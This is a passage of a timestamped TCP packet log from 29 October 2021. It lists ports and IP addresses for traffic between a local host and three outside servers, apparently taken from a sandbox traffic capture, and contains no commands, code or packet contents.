Oct 29, 2021 15:30:16.825090885 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.825102091 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.825113058 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.825141907 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.825165987 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.825231075 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.825238943 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.825258017 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.825759888 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.825784922 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.825856924 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.825865984 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.825896025 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.826059103 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.826087952 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.826186895 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.826196909 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.826234102 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.826839924 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.826867104 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.826932907 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.826941013 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.826967001 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.826994896 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.827020884 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.827078104 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.827085972 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.827133894 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.827603102 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.827632904 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.827683926 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.827697992 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.827714920 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.827774048 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.827804089 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.827930927 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.827939987 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.828600883 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.828630924 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.828685045 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.828696966 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.828713894 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.828722000 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.828792095 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.828800917 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.829462051 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.829497099 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.829545021 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.829554081 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.829566002 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.829674959 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.829701900 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.829749107 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.829757929 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.829788923 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.830218077 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.830248117 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.830332041 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.830343008 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.830358028 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.830482006 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.830509901 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.830558062 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.830565929 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.830594063 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.831057072 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.831120968 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.831140995 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.831151009 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.831176043 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.831202030 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.831274986 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.831305981 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.831357956 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.831367970 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.831377983 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.832299948 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.832330942 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.832370043 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.832382917 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.832413912 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.832514048 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.832550049 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.832662106 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.832680941 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.832693100 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.832794905 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.832834005 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.832969904 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.832983017 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.832988024 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.833055019 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.833090067 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.833167076 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.833188057 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.833235979 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.833755016 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.833786964 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.833849907 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.833872080 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.833905935 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.833923101 CEST	443	49782	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.833955050 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.833995104 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.838891029 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.839164972 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.842861891 CEST	49782	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.849673986 CEST	80	49788	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:16.871606112 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.871649027 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.871738911 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.872673988 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.872693062 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.873322964 CEST	80	49788	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:16.873425007 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.876087904 CEST	49788	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.911753893 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.912482023 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.916778088 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.916798115 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.929316044 CEST	80	49788	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:16.964329004 CEST	80	49791	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:16.965789080 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.965933084 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.965960979 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:16.975425005 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975502014 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975550890 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975585938 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975634098 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975658894 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.975667000 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975729942 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975768089 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975811005 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975824118 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.975830078 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975904942 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975939989 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975986004 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.975996017 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976003885 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976078033 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976115942 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976125002 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976131916 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976213932 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976238012 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976243019 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976259947 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976299047 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976330996 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976366997 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976389885 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976396084 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976402044 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976447105 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976485014 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976528883 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976547956 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976552963 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976593971 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976625919 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976648092 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976654053 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976696014 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976730108 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976758003 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976771116 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976774931 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976826906 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976876020 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976905107 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976924896 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.976929903 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.976974010 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.977009058 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.977030039 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.977035046 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.977089882 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.977296114 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.977302074 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993194103 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993299961 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993324041 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.993331909 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993395090 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993438005 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993454933 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.993462086 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993527889 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.993551016 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993602991 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.993608952 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993627071 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993681908 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993700981 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.993706942 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993752956 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993762970 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.993767023 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.993774891 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993824959 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993855000 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.993861914 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993900061 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993910074 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.993918896 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993968964 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.993997097 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.994004011 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.994040012 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.994052887 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.994059086 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.994111061 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.994122982 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.994132042 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.994184017 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.994203091 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.994209051 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.994226933 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.994267941 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.994313955 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:16.994441032 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:16.994450092 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011115074 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011199951 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011298895 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011349916 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.011360884 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011374950 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.011384010 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.011450052 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011578083 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.011586905 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011718988 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011830091 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.011847973 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011866093 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.011917114 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.011993885 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012073040 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.012130976 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012188911 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.012254000 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012330055 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.012411118 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012526035 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012582064 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.012593985 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012643099 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.012654066 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012670040 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012753010 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.012763023 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012779951 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012896061 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.012912035 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.012929916 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013008118 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013041973 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013098955 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013132095 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013202906 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013222933 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013240099 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013269901 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013335943 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013362885 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013375044 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013422012 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013459921 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013511896 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013549089 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013600111 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013633966 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013696909 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013732910 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013787985 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013845921 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.013906002 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.013945103 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014015913 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.014028072 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014089108 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.014126062 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014228106 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014267921 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.014278889 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014297962 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014328957 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.014339924 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.014393091 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014450073 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014513016 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.014522076 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014592886 CEST	443	49790	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:17.014731884 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.017767906 CEST	80	49791	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:17.023806095 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.026475906 CEST	49790	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:17.045245886 CEST	80	49791	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:17.045327902 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:17.045547009 CEST	49791	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:17.097619057 CEST	80	49791	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.123971939 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.175896883 CEST	80	49796	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.176018953 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.176197052 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.176215887 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.254983902 CEST	80	49796	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.255106926 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.255384922 CEST	49796	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:18.295727968 CEST	49797	443	192.168.2.7	81.177.141.36
Oct 29, 2021 15:30:18.295766115 CEST	443	49797	81.177.141.36	192.168.2.7
Oct 29, 2021 15:30:18.296334028 CEST	49797	443	192.168.2.7	81.177.141.36
Oct 29, 2021 15:30:18.297889948 CEST	49797	443	192.168.2.7	81.177.141.36
Oct 29, 2021 15:30:18.297920942 CEST	443	49797	81.177.141.36	192.168.2.7
Oct 29, 2021 15:30:18.307183027 CEST	80	49796	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:18.416675091 CEST	443	49797	81.177.141.36	192.168.2.7
Oct 29, 2021 15:30:18.416913033 CEST	49797	443	192.168.2.7	81.177.141.36
Oct 29, 2021 15:30:18.419127941 CEST	49797	443	192.168.2.7	81.177.141.36
Oct 29, 2021 15:30:18.419141054 CEST	443	49797	81.177.141.36	192.168.2.7
Oct 29, 2021 15:30:18.419444084 CEST	443	49797	81.177.141.36	192.168.2.7
Oct 29, 2021 15:30:18.438924074 CEST	49797	443	192.168.2.7	81.177.141.36
Oct 29, 2021 15:30:18.480860949 CEST	443	49797	81.177.141.36	192.168.2.7
Oct 29, 2021 15:30:18.514050007 CEST	443	49797	81.177.141.36	192.168.2.7
Oct 29, 2021 15:30:18.514182091 CEST	443	49797	81.177.141.36	192.168.2.7
Oct 29, 2021 15:30:18.514348030 CEST	49797	443	192.168.2.7	81.177.141.36
Oct 29, 2021 15:30:18.514421940 CEST	49797	443	192.168.2.7	81.177.141.36
Oct 29, 2021 15:30:18.514447927 CEST	443	49797	81.177.141.36	192.168.2.7
Oct 29, 2021 15:30:18.514461040 CEST	49797	443	192.168.2.7	81.177.141.36
Oct 29, 2021 15:30:18.514475107 CEST	443	49797	81.177.141.36	192.168.2.7
